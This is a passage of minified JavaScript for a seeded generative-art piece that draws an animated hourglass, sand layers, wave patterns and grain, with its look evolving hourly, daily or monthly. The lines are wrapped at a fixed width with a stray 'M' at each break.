=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
